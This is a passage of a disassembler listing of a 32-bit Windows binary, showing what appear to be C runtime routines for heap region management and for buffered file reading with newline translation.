loc_41F152: ; CODE XREF: sub_41EE80+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41F161: ; CODE XREF: sub_41EE80+2BAj
shr edx, cl
or [eax], edx
loc_41F165: ; CODE XREF: sub_41EE80+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41F16E: ; CODE XREF: sub_41EE80+1A2j
; sub_41EE80:loc_41F02Ej
push 1
pop eax
loc_41F171: ; CODE XREF: sub_41EE80+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41EE80 endp
; =============== S U B R O U T I N E =======================================
sub_41F176 proc near ; CODE XREF: sub_41E5D2+41p
; sub_41F46E:loc_41F63Dp
cmp dword_43CFD0, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41F18A
mov esi, offset off_43CFC0
jmp short loc_41F1A7
; ---------------------------------------------------------------------------
loc_41F18A: ; CODE XREF: sub_41F176+Bj
push 2020h
push 0
push dword_4DF6C4
call dword_428148 ; RtlAllocateHeap
mov esi, eax
test esi, esi
jz loc_41F2B3
loc_41F1A7: ; CODE XREF: sub_41F176+12j
mov ebp, dword_4281C8
push 4
push 2000h
push 400000h
push 0
call ebp ; VirtualAlloc
mov edi, eax
test edi, edi
jz loc_41F29C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp ; VirtualAlloc
test eax, eax
jz loc_41F28E
mov eax, offset off_43CFC0
cmp esi, eax
jnz short loc_41F206
cmp off_43CFC0, 0
jnz short loc_41F1F6
mov off_43CFC0, eax
loc_41F1F6: ; CODE XREF: sub_41F176+79j
cmp off_43CFC4, 0
jnz short loc_41F21B
mov off_43CFC4, eax
jmp short loc_41F21B
; ---------------------------------------------------------------------------
loc_41F206: ; CODE XREF: sub_41F176+70j
mov [esi], eax
mov eax, off_43CFC4
mov [esi+4], eax
mov off_43CFC4, esi
mov eax, [esi+4]
mov [eax], esi
loc_41F21B: ; CODE XREF: sub_41F176+87j
; sub_41F176+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41F23D: ; CODE XREF: sub_41F176+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41F23D
push ebx
push 0
push edi
call sub_41BD60
add esp, 0Ch
loc_41F266: ; CODE XREF: sub_41F176+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41F28A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41F266
; ---------------------------------------------------------------------------
loc_41F28A: ; CODE XREF: sub_41F176+F7j
mov eax, esi
jmp short loc_41F2B5
; ---------------------------------------------------------------------------
loc_41F28E: ; CODE XREF: sub_41F176+63j
push 8000h
push 0
push edi
call dword_4281C4 ; VirtualFree
loc_41F29C: ; CODE XREF: sub_41F176+4Bj
cmp esi, offset off_43CFC0
jz short loc_41F2B3
push esi
push 0
push dword_4DF6C4
call dword_428144 ; RtlFreeHeap
loc_41F2B3: ; CODE XREF: sub_41F176+2Bj
; sub_41F176+12Cj
xor eax, eax
loc_41F2B5: ; CODE XREF: sub_41F176+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F176 endp
; =============== S U B R O U T I N E =======================================
sub_41F2BA proc near ; CODE XREF: sub_41F310+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call dword_4281C4 ; VirtualFree
cmp off_43EFE0, esi
jnz short loc_41F2DF
mov eax, [esi+4]
mov off_43EFE0, eax
loc_41F2DF: ; CODE XREF: sub_41F2BA+1Bj
cmp esi, offset off_43CFC0
jz short loc_41F307
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DF6C4
call dword_428144 ; RtlFreeHeap
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F307: ; CODE XREF: sub_41F2BA+2Bj
or dword_43CFD0, 0FFFFFFFFh
pop esi
retn
sub_41F2BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F310 proc near ; CODE XREF: sub_41F429+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43CFC4
push edi
loc_41F31D: ; CODE XREF: sub_41F310+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41F3BB
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41F336: ; CODE XREF: sub_41F310+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41F377
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call dword_4281C4 ; VirtualFree
test eax, eax
jz short loc_41F377
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DE0AC
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41F36C
cmp eax, edi
jbe short loc_41F36F
loc_41F36C: ; CODE XREF: sub_41F310+56j
mov [esi+0Ch], edi
loc_41F36F: ; CODE XREF: sub_41F310+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41F384
loc_41F377: ; CODE XREF: sub_41F310+2Cj
; sub_41F310+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41F336
loc_41F384: ; CODE XREF: sub_41F310+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41F3BB
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41F3BB
push 1
lea eax, [ecx+20h]
pop edx
loc_41F39B: ; CODE XREF: sub_41F310+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41F3AC
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41F39B
loc_41F3AC: ; CODE XREF: sub_41F310+8Ej
cmp edx, 400h
jnz short loc_41F3BB
push ecx
call sub_41F2BA
pop ecx
loc_41F3BB: ; CODE XREF: sub_41F310+11j
; sub_41F310+7Dj ...
cmp esi, off_43CFC4
jz short loc_41F3CD
cmp [ebp+arg_0], 0
jg loc_41F31D
loc_41F3CD: ; CODE XREF: sub_41F310+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41F310 endp
; =============== S U B R O U T I N E =======================================
sub_41F3D2 proc near ; CODE XREF: sub_41B881+3Ap
; sub_41B9D2+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43CFC0
push esi
mov ecx, edx
loc_41F3DE: ; CODE XREF: sub_41F3D2+1Cj
cmp eax, [ecx+10h]
jbe short loc_41F3E8
cmp eax, [ecx+14h]
jb short loc_41F3F0
loc_41F3E8: ; CODE XREF: sub_41F3D2+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41F425
jmp short loc_41F3DE
; ---------------------------------------------------------------------------
loc_41F3F0: ; CODE XREF: sub_41F3D2+14j
test al, 0Fh
jnz short loc_41F425
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41F425
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41F425: ; CODE XREF: sub_41F3D2+1Aj
; sub_41F3D2+20j ...
xor eax, eax
pop esi
retn
sub_41F3D2 endp
; =============== S U B R O U T I N E =======================================
sub_41F429 proc near ; CODE XREF: sub_41B881+4Dp
; sub_41B9D2+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41F46D
inc dword_4DE0AC
cmp dword_4DE0AC, 20h
jnz short locret_41F46D
push 10h
call sub_41F310
pop ecx
locret_41F46D: ; CODE XREF: sub_41F429+2Bj
; sub_41F429+3Aj
retn
sub_41F429 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F46E proc near ; CODE XREF: sub_41B9D2+1ACp
; sub_41BCE3+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43EFE0
push edi
loc_41F47C: ; CODE XREF: sub_41F46E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41F527
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41F4E1
loc_41F4A7: ; CODE XREF: sub_41F46E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41F4CA
cmp [edi+4], ebx
jbe short loc_41F4CA
push ebx
push ecx
push eax
call sub_41F676
add esp, 0Ch
test eax, eax
jnz short loc_41F539
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41F4CA: ; CODE XREF: sub_41F46E+40j
; sub_41F46E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41F4A7
jmp short loc_41F4E4
; ---------------------------------------------------------------------------
loc_41F4E1: ; CODE XREF: sub_41F46E+37j
mov ebx, [ebp+arg_0]
loc_41F4E4: ; CODE XREF: sub_41F46E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41F52A
loc_41F4F7: ; CODE XREF: sub_41F46E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41F516
cmp [edi+4], ebx
jbe short loc_41F516
push ebx
push eax
push [ebp+var_4]
call sub_41F676
add esp, 0Ch
test eax, eax
jnz short loc_41F539
mov [edi+4], ebx
loc_41F516: ; CODE XREF: sub_41F46E+8Dj
; sub_41F46E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41F4F7
jmp short loc_41F52A
; ---------------------------------------------------------------------------
loc_41F527: ; CODE XREF: sub_41F46E+14j
mov ebx, [ebp+arg_0]
loc_41F52A: ; CODE XREF: sub_41F46E+87j
; sub_41F46E+B7j
mov esi, [esi]
cmp esi, off_43EFE0
jz short loc_41F549
jmp loc_41F47C
; ---------------------------------------------------------------------------
loc_41F539: ; CODE XREF: sub_41F46E+54j
; sub_41F46E+A3j
mov off_43EFE0, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41F671
; ---------------------------------------------------------------------------
loc_41F549: ; CODE XREF: sub_41F46E+C4j
mov eax, offset off_43CFC0
mov edi, eax
loc_41F550: ; CODE XREF: sub_41F46E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41F55C
cmp dword ptr [edi+0Ch], 0
jnz short loc_41F568
loc_41F55C: ; CODE XREF: sub_41F46E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41F63D
jmp short loc_41F550
; ---------------------------------------------------------------------------
loc_41F568: ; CODE XREF: sub_41F46E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41F597
loc_41F586: ; CODE XREF: sub_41F46E+127j
cmp [ebp+var_4], 10h
jge short loc_41F597
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41F586
loc_41F597: ; CODE XREF: sub_41F46E+116j
; sub_41F46E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call dword_4281C8 ; VirtualAlloc
cmp eax, esi
jnz loc_41F66F
push 0
push [ebp+var_8]
push esi
call sub_41BD60
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41F5FE
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41F5D4: ; CODE XREF: sub_41F46E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41F5D4
loc_41F5FE: ; CODE XREF: sub_41F46E+15Ej
mov off_43EFE0, edi
lea eax, [edi+2018h]
loc_41F60A: ; CODE XREF: sub_41F46E+1A8j
cmp ecx, eax
jnb short loc_41F61A
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41F618
add ecx, 8
jmp short loc_41F60A
; ---------------------------------------------------------------------------
loc_41F618: ; CODE XREF: sub_41F46E+1A3j
cmp ecx, eax
loc_41F61A: ; CODE XREF: sub_41F46E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41F671
; ---------------------------------------------------------------------------
loc_41F63D: ; CODE XREF: sub_41F46E+F2j
call sub_41F176
test eax, eax
jz short loc_41F66F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43EFE0, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41F671
; ---------------------------------------------------------------------------
loc_41F66F: ; CODE XREF: sub_41F46E+143j
; sub_41F46E+1D6j
xor eax, eax
loc_41F671: ; CODE XREF: sub_41F46E+D6j
; sub_41F46E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41F46E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F676 proc near ; CODE XREF: sub_41F46E+4Ap
; sub_41F46E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41F6BB
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41F6AA
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41F6B3
; ---------------------------------------------------------------------------
loc_41F6AA: ; CODE XREF: sub_41F676+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F6B3: ; CODE XREF: sub_41F676+32j
lea eax, [edi+8]
jmp loc_41F789
; ---------------------------------------------------------------------------
loc_41F6BB: ; CODE XREF: sub_41F676+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41F6C4
mov eax, esi
loc_41F6C4: ; CODE XREF: sub_41F676+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41F70E
loc_41F6CB: ; CODE XREF: sub_41F676+96j
mov bl, [eax]
test bl, bl
jnz short loc_41F701
push 1
lea ebx, [eax+1]
pop esi
loc_41F6D7: ; CODE XREF: sub_41F676+68j
cmp byte ptr [ebx], 0
jnz short loc_41F6E0
inc ebx
inc esi
jmp short loc_41F6D7
; ---------------------------------------------------------------------------
loc_41F6E0: ; CODE XREF: sub_41F676+64j
cmp esi, edx
jnb short loc_41F732
cmp eax, [ebp+var_4]
jnz short loc_41F6EE
mov [ecx+4], esi
jmp short loc_41F6FA
; ---------------------------------------------------------------------------
loc_41F6EE: ; CODE XREF: sub_41F676+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41F793
loc_41F6FA: ; CODE XREF: sub_41F676+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41F706
; ---------------------------------------------------------------------------
loc_41F701: ; CODE XREF: sub_41F676+59j
movzx esi, bl
add eax, esi
loc_41F706: ; CODE XREF: sub_41F676+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41F6CB
loc_41F70E: ; CODE XREF: sub_41F676+53j
lea esi, [ecx+8]
loc_41F711: ; CODE XREF: sub_41F676+EBj
; sub_41F676+F2j
cmp esi, edi
jnb short loc_41F793
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41F793
mov al, [esi]
test al, al
jnz short loc_41F763
push 1
lea ebx, [esi+1]
pop eax
loc_41F729: ; CODE XREF: sub_41F676+BAj
cmp byte ptr [ebx], 0
jnz short loc_41F753
inc ebx
inc eax
jmp short loc_41F729
; ---------------------------------------------------------------------------
loc_41F732: ; CODE XREF: sub_41F676+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F743
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41F74C
; ---------------------------------------------------------------------------
loc_41F743: ; CODE XREF: sub_41F676+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41F74C: ; CODE XREF: sub_41F676+CBj
mov [eax], dl
add eax, 8
jmp short loc_41F789
; ---------------------------------------------------------------------------
loc_41F753: ; CODE XREF: sub_41F676+B6j
cmp eax, edx
jnb short loc_41F76A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41F793
mov esi, ebx
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F763: ; CODE XREF: sub_41F676+ABj
movzx eax, al
add esi, eax
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F76A: ; CODE XREF: sub_41F676+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F77B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41F784
; ---------------------------------------------------------------------------
loc_41F77B: ; CODE XREF: sub_41F676+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F784: ; CODE XREF: sub_41F676+103j
mov [esi], dl
lea eax, [esi+8]
loc_41F789: ; CODE XREF: sub_41F676+40j
; sub_41F676+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41F795
; ---------------------------------------------------------------------------
loc_41F793: ; CODE XREF: sub_41F676+7Ej
; sub_41F676+9Dj ...
xor eax, eax
loc_41F795: ; CODE XREF: sub_41F676+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41F676 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F79A proc near ; CODE XREF: sub_41B9D2+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41F7D4
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F834
; ---------------------------------------------------------------------------
loc_41F7D4: ; CODE XREF: sub_41F79A+26j
jnb short loc_41F83B
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F83B
lea eax, [ecx+edx]
loc_41F7E9: ; CODE XREF: sub_41F79A+59j
cmp eax, esi
jnb short loc_41F7F7
cmp byte ptr [eax], 0
jnz short loc_41F7F5
inc eax
jmp short loc_41F7E9
; ---------------------------------------------------------------------------
loc_41F7F5: ; CODE XREF: sub_41F79A+56j
cmp eax, esi
loc_41F7F7: ; CODE XREF: sub_41F79A+51j
jnz short loc_41F83B
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F82F
cmp esi, eax
jbe short loc_41F82F
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F826
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F821
loc_41F81A: ; CODE XREF: sub_41F79A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F81A
loc_41F821: ; CODE XREF: sub_41F79A+7Ej
mov [ebx+4], eax
jmp short loc_41F82F
; ---------------------------------------------------------------------------
loc_41F826: ; CODE XREF: sub_41F79A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F82F: ; CODE XREF: sub_41F79A+68j
; sub_41F79A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F834: ; CODE XREF: sub_41F79A+38j
mov [ebp+var_4], 1
loc_41F83B: ; CODE XREF: sub_41F79A:loc_41F7D4j
; sub_41F79A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41F79A endp
; =============== S U B R O U T I N E =======================================
sub_41F843 proc near ; CODE XREF: sub_41B8EA+A9p
; sub_41C31F+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F917
test al, 40h
jnz loc_41F917
test al, 2
jz short loc_41F869
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F917
; ---------------------------------------------------------------------------
loc_41F869: ; CODE XREF: sub_41F843+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F87D
push esi
call sub_42421A
pop ecx
jmp short loc_41F882
; ---------------------------------------------------------------------------
loc_41F87D: ; CODE XREF: sub_41F843+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41F882: ; CODE XREF: sub_41F843+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F91C
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F906
cmp eax, 0FFFFFFFFh
jz short loc_41F906
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F8DB
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41F8C4
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4DE360[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41F8C9
; ---------------------------------------------------------------------------
loc_41F8C4: ; CODE XREF: sub_41F843+6Bj
mov edi, offset dword_43F8C0
loc_41F8C9: ; CODE XREF: sub_41F843+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F8DB
or dh, 20h
mov [esi+0Ch], edx
loc_41F8DB: ; CODE XREF: sub_41F843+62j
; sub_41F843+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F8F8
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F8F8
test ch, 4
jnz short loc_41F8F8
mov dword ptr [esi+18h], 1000h
loc_41F8F8: ; CODE XREF: sub_41F843+9Fj
; sub_41F843+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F906: ; CODE XREF: sub_41F843+55j
; sub_41F843+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F917: ; CODE XREF: sub_41F843+Aj
; sub_41F843+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F843 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F91C proc near ; CODE XREF: sub_41B8EA+90p
; sub_41F843+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4DE460
jnb loc_41FAF9
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DE360h[eax*4]
mov eax, dword_4DE360[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41FAF9
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41F9D1
test dl, 2
jnz short loc_41F9D1
test dl, 48h
jz short loc_41F991
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41F991
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41F991: ; CODE XREF: sub_41F91C+56j
; sub_41F91C+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call dword_4280E8 ; ReadFile
test eax, eax
jnz short loc_41F9E4
call dword_42808C ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_41F9CC
mov dword_4DE02C, 9
mov dword_4DE030, ecx
jmp loc_41FB0A
; ---------------------------------------------------------------------------
loc_41F9CC: ; CODE XREF: sub_41F91C+99j
cmp eax, 6Dh
jnz short loc_41F9D8
loc_41F9D1: ; CODE XREF: sub_41F91C+4Cj
; sub_41F91C+51j
xor eax, eax
jmp loc_41FB0D
; ---------------------------------------------------------------------------
loc_41F9D8: ; CODE XREF: sub_41F91C+B3j
push eax
call sub_420BDF
pop ecx
jmp loc_41FB0A
; ---------------------------------------------------------------------------
loc_41F9E4: ; CODE XREF: sub_41F91C+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41FAF4
test edx, edx
jz short loc_41FA09
cmp byte ptr [edi], 0Ah
jnz short loc_41FA09
or al, 4
jmp short loc_41FA0B
; ---------------------------------------------------------------------------
loc_41FA09: ; CODE XREF: sub_41F91C+E2j
; sub_41F91C+E7j
and al, 0FBh
loc_41FA0B: ; CODE XREF: sub_41F91C+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41FAEE
loc_41FA23: ; CODE XREF: sub_41F91C+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41FADE
cmp al, 0Dh
jz short loc_41FA3F
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41FAD0
; ---------------------------------------------------------------------------
loc_41FA3F: ; CODE XREF: sub_41F91C+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41FA5D
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41FA54
add [ebp+arg_8], 2
jmp short loc_41FAB2
; ---------------------------------------------------------------------------
loc_41FA54: ; CODE XREF: sub_41F91C+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41FAD0
; ---------------------------------------------------------------------------
loc_41FA5D: ; CODE XREF: sub_41F91C+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_4280E8 ; ReadFile
test eax, eax
jnz short loc_41FA85
call dword_42808C ; RtlGetLastWin32Error
test eax, eax
jnz short loc_41FACC
loc_41FA85: ; CODE XREF: sub_41F91C+15Dj
cmp [ebp+var_C], 0
jz short loc_41FACC
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41FAA7
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41FAB2
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41FAD0
; ---------------------------------------------------------------------------
loc_41FAA7: ; CODE XREF: sub_41F91C+176j
cmp edi, [ebp+arg_4]
jnz short loc_41FAB7
cmp [ebp+var_1], 0Ah
jnz short loc_41FAB7
loc_41FAB2: ; CODE XREF: sub_41F91C+136j
; sub_41F91C+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41FACF
; ---------------------------------------------------------------------------
loc_41FAB7: ; CODE XREF: sub_41F91C+18Ej
; sub_41F91C+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_422FE4
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41FAD0
loc_41FACC: ; CODE XREF: sub_41F91C+167j
; sub_41F91C+16Dj
mov byte ptr [edi], 0Dh
